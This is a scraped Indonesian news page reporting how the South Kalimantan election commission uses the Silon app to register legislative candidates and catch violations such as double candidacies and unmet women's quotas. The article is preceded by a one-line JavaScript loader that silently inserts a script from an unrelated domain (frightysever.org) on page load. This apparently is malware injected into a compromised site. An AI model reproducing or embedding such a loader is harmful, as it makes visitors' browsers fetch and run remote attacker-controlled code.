(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Lewat Aplikasi ‘Silon’, KPU Kalsel Pantau Potensi Pelanggaran Pencalegan


BANJARMASIN, Jelang pemilu legislatif, Komisi Pemilihan Umum (KPU) Kalsel menggelar gelar sosialisasi tata cara dan pengajuan bakal calon dewan maupun anggota Dewan Perwakilan Daerah (DPD), Senin (2/7). Salah satu hal yang wajib dilakukan, adalah memasukkan proses pendaftaran melalui Sistem Informasi Pencalonan (Silon) KPU.

Ketua KPU Kalsel Edy Eriansyah mengatakan, Silon merupakan aplikasi yang wajib diisi bagi calon legislator (caleg), baik tingkat DPR RI, DPRD provinsi, dan DPRD kabupaten/kota, sebelum mengikuti Pemilu Legislatif 2019.

“Pengisian Silon bisa dilakukan 30 hari sebelum pendaftaran. Namun terlebih dahulu harus diawali pengajuan satu anggota dari setiap parpol untuk diregistrasi KPU menjadi operator Silon,” jelasnya.

Persyaratan yang harus dipenuhi antara lain, memegang SK dari parpol dan melampirkan fotokopi KTP, KTA, dan foto calon operator. “Silon wajib diisi supaya penyelenggara bisa mencegah adanya data ganda peserta pemilu,” tegasnya.

Edy Ariansyah berharap penggunaan aplikasi Silon dapat meningkatkan kepercayaan masyarakat terhadap Pemilu 2019 mendatang. “Karena melalui Silon masyarakat bisa melihat langsung biodata dan rekam jejak caleg Pemilu 2019, seperti profil diri, keluarga, pendidikan, organisasi serta lainnya,” pungkasnya.

Sistem Silon ini juga akan memantau dan mendeteksi potensi pelanggaran dalam proses pencalonan. Misalnya untuk mengidentifikasi calon legislatif yang mencalonkan diri di dua dapil. Atau di dua tingkatan level dewan perwakilan.

Silon juga akan memantau pemenuhan syarat-syarat pencalonan. Jika syarat belum terpenuhi, maka sistem akan mendeteksi dan mewajibkan calon memenuhi syarat secara keseluruhan. Ilham juga memaparkan bahwa sistem ini akan memastikan keterwakilan perempuan sebesar 30 persen dalam daftar calon yang diusulkan partai. Sehingga, sistem bisa menolak jika syarat keterwakilan perempuan belum terpenuhi.

Aplikasi Silon pun bisa langsung deteksi kalau ada kekurangan persyaratan. Sehingga KPU bisa minta penambahan atau menolak jika tidak sesuai dengan proses. Dengan demikian, penggunaan Silon membantu mewujudkan prinsip keterbukaan dan akuntabilitas penyelenggaraan pemilu, sebagaimana diatur dalam Pasal 3 huruf f dan huruf l pada Undang-Undang Nomor 17 Tahun 2017 tentang Pemilihan Umum. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

2 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

5 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

9 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

24 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.